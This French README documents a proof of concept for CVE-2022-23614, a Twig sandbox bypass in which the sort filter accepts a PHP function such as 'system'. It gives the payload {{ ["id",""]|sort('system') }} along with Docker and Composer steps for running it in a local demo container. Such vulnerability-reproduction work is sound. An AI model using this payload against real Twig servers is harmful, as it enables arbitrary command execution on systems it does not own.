
Preuve de concept pour CVE-2022-23614 (injection de commandes dans Twig)
Preuve de concept (PoC) pour CVE-2022-23614 référencée dans la DSA-5107-1.
Twig est un moteur de templates flexible, rapide et sécurisé pour PHP. Notamment, il est possible d'utiliser des filtres dans un template avant de le rendre. Le filtre sort peut être utilisé pour trier les éléments d'un tableau avec la structure suivante :
{{ [5,8,2,3]|sort('desc') }}
Twig dispose d'un mode sandbox pour évaluer du code de template non fiable. Lorsqu'on est dans ce mode sandbox, le paramètre arrow du filtre sort doit être une fermeture (closure) pour empêcher les attaquants d'exécuter des fonctions PHP arbitraires. Dans les versions concernées, cette contrainte n'était pas correctement appliquée et pouvait conduire à une injection de code PHP arbitraire.
{{ ["id",""]|sort('system') }}
Ce PoC illustre la vulnérabilité dans deux cas d'utilisation différents : soit en utilisant le paquet Debian php-twig (v2.14.1), soit en utilisant le module Composer twig/twig (v2.14).
Le fichier index.php crée un template Twig basé sur le premier argument. Dans le code suivant, argv[1] est le nom de la fonction de tri qui sera utilisée par Twig lors du rendu.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
Ensuite, index.php utilisera deux fonctions obsolètes de Twig pour charger le template généré. Finalement, il utilise le second argument (argv[2]) pour passer des données au template lors de son rendu, notamment le tableau args que nous voulons trier.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
Le template rendu est ensuite affiché sur la sortie standard.
Veuillez noter que ce dépôt a été créé à des fins de démonstration uniquement. Il est conçu pour être simple à comprendre et facile à utiliser afin de jouer avec la CVE en utilisant uniquement une interface en ligne de commande. Il est assez éloigné de ce que l'on peut trouver sur un véritable serveur vulnérable.
En utilisant Docker, nous sommes en mesure de recréer le contexte de l'avis de sécurité Debian (DSA) original. Vous pouvez utiliser le script build-docker.sh fourni pour construire et exécuter correctement le conteneur vulnérable.
chmod a+x build-docker.sh
./build-docker.sh
Le conteneur devrait s'arrêter une fois la charge utile (payload) exécutée (une commande id). Si vous souhaitez essayer vos propres commandes, vous pouvez exécuter le conteneur en mode interactif :
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
Une fois dans le conteneur, vous pouvez créer votre propre charge utile en utilisant le modèle suivant :
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
Ce dockerfile a été partiellement créé avec DECRET.
Si vous avez déjà php et Composer installés sur votre machine, vous pouvez reproduire l'exploit en utilisant le module Composer vulnérable.
cd exploit
composer install
Ensuite, il vous suffit de jouer avec la charge utile.
php index.php system '{"args":["id",""]}'
Détails de la CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
Commit du correctif: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC par davwwwx (en utilisant une interface graphique): https://github.com/davwwwx/CVE-2022-23614